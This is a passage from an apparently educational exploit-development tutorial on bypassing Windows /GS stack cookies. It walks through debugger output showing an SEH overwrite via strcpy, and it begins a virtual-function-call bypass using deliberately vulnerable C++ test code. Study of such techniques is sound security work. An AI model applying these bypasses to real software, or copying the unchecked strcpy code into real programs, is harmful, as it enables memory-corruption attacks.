GetInput()\n00401179 83c408          add     esp,8  <strong><span style=\"color: #ff0000\">;normally GetInput returns here<\/span><\/strong>\n0040117c 33c0            xor     eax,eax0040117e 8be5            mov     esp,ebp\n00401180 5d              <span style=\"color: #0000ff\">pop<\/span>     ebp\n00401181 c3              ret<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Anyways, let\u2019s go back to the disassembly of the GetInput function above. After putting a pointer to the arguments on the stack, the function prolog first pushes EBP to the stack (to save EBP). Next, it puts ESP into EBP so EBP points to the top of the stack now (for just a moment :)). So, in essence, a new stack frame is created at the \u201ccurrent\u201d position of ESP when the function is called. After saving EBP, ESP now points to 0x0012feec (which contains 0c0012ff7c). As soon as data is pushed onto the stack, EBP will still point to the same location (but EBP becomes (and stays) the bottom of the stack). Since there are no local variables in GetInput(), nothing is pushed on the stack to prepare for these variables.<\/p>\n<p>Then, the SE Handler is installed. First, FFFFFFFF is put on the stack (to indicate the end of the SEH chain).<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">00401003   . 6A FF          <span style=\"color: #0000ff\">PUSH<\/span> -1\n00401005   . 68 A01A4000    <span style=\"color: #0000ff\">PUSH<\/span> basicbof.00401AA0<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Then, SE Handler and next SEH are pushed onto the stack :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0040100A   . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]\n00401010   . 50             <span style=\"color: #0000ff\">PUSH<\/span> EAX\n00401011   . 64:8925 000000&gt;MOV DWORD PTR FS:[0],ESP<\/pre>\n<p>The stack now looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"> ^  stack grows up towards top of stack while address of ESP goes down\n | 0012FECC   785438C5   MSVCR90.785438C5\n | 0012FED0   0012FEE8\n | 0012FED4   7855C40C   MSVCR90.7855C40C\n | 0012FED8   00152150\n | 0012FEDC   0012FEF8   &lt;- ESP points here after pushing <span style=\"color: #0000ff\">next<\/span> SEH\n | 0012FEE0   0012FFB0   Pointer to <span style=\"color: #0000ff\">next<\/span> SEH record\n | 0012FEE4   00401AA0   SE handler\n | 0012FEE8   FFFFFFFF    ; end of SEH chain\n | 0012FEEC   0012FF7C    ; saved EBP\n | 0012FEF0   00401179    ; saved EIP\n | 0012FEF4   003429F3    ; pointer to buffer ASCII &quot;<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAA\u2026&quot;<\/span><\/pre>\n<p>Before the first strcpy starts, some place is reserved on the stack.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 52px; border-right: #cecece 1px solid; width: 741px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">00401019 . 81EC 1C020000  SUB ESP,21C  ;540 bytes, which is 500 (buffer) + additional space<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>After this instruction, ESP points to 0x0012fcc0 (which is 0x0012fedc - 21c), ebp still points to 0x0012feec (top of stack). Next, EBX, ESI and EDI are pushed on the stack (ESP = ESP - C (3 x 4 bytes = 12 bytes), ESP now points at 0x0012FCB4.<\/p>\n<p>Then, at 0x0040102c, the first strcpy starts (ESP still points to 0012fcb4). Each A is taken from the memory location where buffer resides) and put on the stack (one by one, loop from 0x0040104d to 0x0040108e).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image23.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb23.png\" width=\"275\" height=\"202\" \/><\/a><\/p>\n<p>This process continues until all 520 bytes (length of our command line argument) have been written<\/p>\n<p>The first 4 A\u2019s were written at 0012fce4. If you add 208h (520 bytes) - 4 (the 4 bytes that are at 0012fce4), then you end up at 0012fee8, which has hit\/overwritten the SE Structure. No harm done yet.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image24.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb24.png\" width=\"361\" height=\"162\" \/><\/a><\/p>\n<p>So far so good. No exception has been triggered yet (nothing has been done with the buffer yet, and we did not attempt to write anywhere that would cause an immediate exception)<\/p>\n<p>Then the second strcpy (strcpy(out,buffer)) starts. Similar routine (one A per loop), and now the A\u2019s are written on the stack starting at 0x0012fefc. EBP (bottom of stack) still points to 0x0012feec, so we are now writing beyond the bottom of the stack.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image25.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb25.png\" width=\"360\" height=\"240\" \/><\/a><\/p>\n<p>out is only 128 bytes (variable initially set up in main() and then passed on uninitialized to GetInput() - this smells like trouble to me \ud83d\ude42 ), so the overflow will probably occur much faster. Buffer contains a lot more bytes, so the overflow may\/could\/will write into an area where it does not belong, and that will hurt more this time. If this triggers and exception, we control the flow (we have already overwritten the SE structure, remember)<\/p>\n<p>After putting 128 A\u2019s on the stack, the stack looks like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image26.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb26.png\" width=\"364\" height=\"301\" \/><\/a><\/p>\n<p>As we continue to write, we write into higher addresses (eventually even overwriting main() local vars and envp, argv, etc\u2026 all the way to the bottom of the stack):<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image27.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb27.png\" width=\"273\" height=\"259\" \/><\/a><\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Until we finally try to write into a location where we don\u2019t have access to<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image28.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb28.png\" width=\"317\" height=\"109\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image29.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb29.png\" width=\"506\" height=\"31\" \/><\/a><\/p>\n<p>Access violation. The SEH chain now looks like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image30.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb30.png\" width=\"284\" height=\"98\" \/><\/a><\/p>\n<p>If we now pass the exception to the application, and attempt will be made to go to this SE Handler.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image31.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb31.png\" width=\"252\" height=\"136\" \/><\/a><\/p>\n<p>SE Structure was overwritten with the first strcpy, but the second strcpy triggered the exception <strong><span style=\"text-decoration: underline\">before<\/span><\/strong> the function could return. The combination of both should allow us to exploit this vulnerability because stack cookies will not be checked.<\/p>\n<h4>Abusing SEH to bypass GS protection<\/h4>\n<p>Compile the executable again (with \/GS protection) and try the same overflow again :<\/p>\n<p>Code with exception handler :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 597px; border-right: #cecece 1px solid; width: 769px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(aa0.f48): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a4\neip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\nbasicbof!GetInput+0xd8:\n004010d8 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n0:000&gt; uf GetInput\nbasicbof!GetInput [basicbof\\basicbof.cpp @ 6]:\n    6 00401000 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n    6 00401001 8bec            mov     ebp,esp\n    6 00401003 6aff            <span style=\"color: #0000ff\">push<\/span>    0FFFFFFFFh\n    6 00401005 68d01a4000      <span style=\"color: #0000ff\">push<\/span>    <span style=\"color: #0000ff\">offset<\/span> basicbof!_CxxFrameHandler3+0xc (00401ad0)\n    6 0040100a 64a100000000    mov     eax,dword ptr fs:[00000000h]\n    6 00401010 50              <span style=\"color: #0000ff\">push<\/span>    eax\n    6 00401011 51              <span style=\"color: #0000ff\">push<\/span>    ecx\n    6 00401012 81ec24020000    <span style=\"color: #0000ff\">sub<\/span>     esp,224h\n    6 00401018 a118304000      mov     eax,dword ptr <strong><span style=\"color: #ff0000\">[basicbof!__security_cookie (00403018)]<\/span><\/strong>\n    6 0040101d 33c5            xor     eax,ebp\n    6 0040101f 8945ec          mov     dword ptr [ebp-14h],eax\n    6 00401022 53              <span style=\"color: #0000ff\">push<\/span>    ebx\n    6 00401023 56              <span style=\"color: #0000ff\">push<\/span>    esi\n    6 00401024 57              <span style=\"color: #0000ff\">push<\/span>    edi\n    6 00401025 50              <span style=\"color: #0000ff\">push<\/span>    eax\n    6 00401026 8d45f4          lea     eax,[ebp-0Ch]\n    6 00401029 64a300000000    mov     dword ptr fs:[00000000h],eax\n    6 0040102f 8965f0          mov     dword ptr [ebp-10h],esp\n    9 00401032 c745fc00000000  mov     dword ptr [ebp-4],0\n   10 00401039 8b4508          mov     eax,dword ptr [ebp+8]\n   10 0040103c 8985e8fdffff    mov     dword ptr [ebp-218h],eax\n   10 00401042 8d8df0fdffff    lea     ecx,[ebp-210h]\n   10 00401048 898de4fdffff    mov     dword ptr [ebp-21Ch],ecx\n   10 0040104e 8b95e4fdffff    mov     edx,dword ptr [ebp-21Ch]\n   10 00401054 8995e0fdffff    mov     dword ptr [ebp-220h],edx<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Application has died again. From the disassembly above we can clearly see the security cookie being put on the stack in the GetInput function epilogue. So a classic overflow (direct RET overwrite) would not work\u2026 However we have hit the exception handler as well (the first strcpy overwrites SE Handler, remember\u2026 in our example, SE Handler was only overwritten with 2 bytes, so we probably need 2 more bytes to overwrite it entirely.):<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; !exchain\n0012fed8: basicbof!_CxxFrameHandler3+c (00401ad0)\nInvalid exception stack at <strong><span style=\"color: #ff0000\">00004141<\/span><\/strong><\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>This means that we *may* be able to bypass the \/GS stack cookie by using the exception handler.<\/p>\n<p>Now if you leave out the exception handling code again (in function GetInput), and feed the application the same number of characters, then we get this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; g\n(216c.2ce0): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=0040337c\neip=004010b2 esp=0012fcc4 ebp=0012fee4 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\nbasicbof!GetInput+0xb2:\n004010b2 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n0:000&gt; !exchain\n0012ffb0: 41414141\nInvalid exception stack at 41414141<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>So same argument length, but the extra exception handler was not added, so it took us not that much bytes to overwrite SE structure this time. It looks like we have triggered an exception before the stack cookie could have been checked. As explained earlier, this is caused by the second strcpy statement in GetInput()<\/p>\n<p>To prove my point, leave out this second strcpy (so only one strcpy, and no exception handler in the application), and then this happens :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; g\neax=000036c0 ebx=00000000 ecx=000036c0 edx=7c90e514 esi=00000001 edi=0040337c\neip=7c90e514 esp=0012f984 ebp=0012f994 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286\n<strong><span style=\"color: #ff0000\">ntdll!KiFastSystemCallRet:\n7c90e514 c3              ret<\/span><\/strong><\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>=&gt; stack cookie protection worked again.<\/p>\n<p>So, conclusion : it is possible to bypass stack cookies if the vulnerable function will cause an exception in one way or another other way BEFORE the cookie is checked during the function\u2019s epilogue, for example when the function continues to use a corrupted buffer further down the road in the function.<\/p>\n<p>Note : In order to exploit this particular application, you would probably need to deal with \/safeseh as well\u2026 Anyways, stack cookie protection was bypassed\u2026 \ud83d\ude42<\/p>\n<h3>Stack cookie bypass demonstration 2 : Virtual Function call<\/h3>\n<p>In order to demonstrate this technique, I\u2019ll re-use a piece of code that can be found in Alex Soritov and Mark Dowd\u2019s paper from Blackhat 2008 (slightly modified so it would compile under VS2008 C++)<\/p>\n<div>\n<div>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #008000\">\/\/ gsvtable.cpp : Defines the entry point for the console application.<\/span>\n<span style=\"color: #008000\">\/\/<\/span>\n#include &quot;<span style=\"color: #8b0000\">stdafx.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">windows.h<\/span>&quot;\n<span style=\"color: #0000ff\">class<\/span> Foo {\n  <span style=\"color: #0000ff\">public<\/span>:\n  <span style=\"color: #0000ff\">void<\/span> __declspec(noinline) gs3(<span style=\"color: #0000ff\">char<\/span>* src)\n  {\n   <span style=\"color: #0000ff\">char<\/span> buf[8];\n   strcpy(buf, src);\n   bar(); <span style=\"color: #008000\">\/\/ virtual function call<\/span>\n  }\n   <span style=\"color: #0000ff\">virtual<\/span> <span style=\"color: #0000ff\">void<\/span> __declspec(noinline) bar()\n   {\n   }\n };\n<span style=\"color: #0000ff\">int<\/span> main()\n{\n  Foo foo;\n  foo.gs3(\n  &quot;<span style=\"color: #8b0000\">AAAA<\/span>&quot;\n  &quot;<span style=\"color: #8b0000\">BBBB<\/span>&quot;\n  &quot;<span style=\"color: #8b0000\">CCCC<\/span>&quot;\n  &quot;<span style=\"color: #8b0000\">DDDD<\/span>&quot;\n  &quot;<span style=\"color: #8b0000\">EEEE<\/span>&quot;\n  &quot;<span style=\"color: #8b0000\">FFFF<\/span>&quot;\n <span style=\"color: #0000ff\">return<\/span> 0;\n}<\/pre>\n<\/p><\/div>\n<\/div>\n<p>The Foo object called foo is initialized in the main function, and allocated on the stack of this main function. Then, foo is passed as argument to the Foo.gs3() member function. This gs3() function has a strcpy vulnerability (foo from main() is copied into buf, which is only 8 bytes. So if foo is longer than 8 bytes, a buffer overflow occurs).<\/p>\n<p>After the strcpy(), a virtual function bar() is executed. Because of the overflow earlier, the pointer to the vtable on the stack may have been overwritten, and application flow may be redirected to your shellcode instead.<\/p>\n<p>After compiling with \/gs, function gs3 looks this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 760px; border-right: #cecece 1px solid; width: 748px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; uf Foo::gs3\ngsvtable!Foo::gs3\n   10 00401000 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n   10 00401001 8bec            mov     ebp,esp\n   10 00401003 83ec20          <span style=\"color: #0000ff\">sub<\/span>     esp,20h\n   10 00401006 a118304000      mov     eax,dword ptr <strong><span style=\"color: #ff0000\">[gsvtable!__security_cookie (00403018)]<\/span><\/strong>\n   10 0040100b 33c5            xor     eax,ebp\n   10 0040100d 8945fc          mov     dword ptr [ebp-4],eax\n   10 00401010 894df0          mov     dword ptr [ebp-10h],ecx\n   12 00401013 8b4508          mov     eax,dword ptr [ebp+8]\n   12 00401016 8945ec          mov     dword ptr [ebp-14h],eax\n   12 00401019 8d4df4          lea     ecx,[ebp-0Ch]\n   12 0040101c 894de8          mov     dword ptr [ebp-18h],ecx\n   12 0040101f 8b55e8          mov     edx,dword ptr [ebp-18h]\n   12 00401022 8955e4          mov     dword ptr [ebp-1Ch],edx\n\ngsvtable!Foo::gs3+0x25\n   12 00401025 8b45ec          mov     eax,dword ptr [ebp-14h]\n   12 00401028 8a08            mov     cl,byte ptr [eax]\n   12 0040102a 884de3          mov     byte ptr [ebp-1Dh],cl\n   12 0040102d 8b55e8          mov     edx,dword ptr [ebp-18h]\n   12 00401030 8a45e3          mov     al,byte ptr [ebp-1Dh]\n   12 00401033 8802            mov     byte ptr [edx],al\n   12 00401035 8b4dec          mov     ecx,dword ptr [ebp-14h]\n   12 00401038 83c101          add     ecx,1\n   12 0040103b 894dec          mov     dword ptr [ebp-14h],ecx\n   12 0040103e 8b55e8          mov     edx,dword ptr [ebp-18h]\n   12 00401041 83c201          add     edx,1\n   12 00401044 8955e8          mov     dword ptr [ebp-18h],edx\n   12 00401047 807de300        cmp     byte ptr [ebp-1Dh],0\n   12 0040104b 75d8            jne     gsvtable!Foo::gs3+0x25 (00401025)\n\ngsvtable!Foo::gs3+0x4d\n   13 0040104d 8b45f0          mov     eax,dword ptr [ebp-10h]\n   13 00401050 8b10            mov     edx,dword ptr [eax]\n   13 00401052 8b4df0          mov     ecx,dword ptr [ebp-10h]\n   13 00401055 8b02            mov     eax,dword ptr [edx]\n   13 00401057 ffd0            <span style=\"color: #008000\">call    eax    ;this is where bar() is called (via vtable ptr)<\/span>\n   14 00401059 8b4dfc          mov     ecx,dword ptr [ebp-4]\n   14 0040105c 33cd            xor     ecx,ebp\n   14 0040105e e854000000      call    <strong><span style=\"color: #ff0000\">gsvtable!__security_check_cookie (004010b7)<\/span><\/strong>\n   14 00401063 8be5            mov     esp,ebp\n   14 00401065 5d              <span style=\"color: #0000ff\">pop<\/span>     ebp\n   14 00401066 c20400          ret     4<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Stack cookie :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; dd 00403018\n00403018  cd1ee24d 32e11db2 ffffffff ffffffff\n00403028  fffffffe 00000001 004020f0 00000000\n00403038  56413f2e 406f6f46 00000040 00000000\n00403048  00000001 00343018 00342980 00000000\n00403058  00000000 00000000 00000000 00000000<\/pre>\n<p>Virtual function bar looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; uf Foo::bar\ngsvtable!Foo::bar\n   16 00401070 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n   16 00401071 8bec            mov     ebp,esp\n   16 00401073 51              <span style=\"color: #0000ff\">push<\/span>    ecx\n   16 00401074 894dfc          mov     dword ptr [ebp-4],ecx\n   17 00401077 8be5            mov     esp,ebp\n   17 00401079 5d              <span style=\"color: #0000ff\">pop<\/span>     ebp\n   17 0040107a c3              ret<\/pre>\n<p>If we look at the stack right at the point when function gs3 is called (so before the overflow occurs, breakpoint at 0x00401000) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image32.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb32.png\" width=\"426\" height=\"74\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image33.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb33.png\" width=\"420\" height=\"64\" 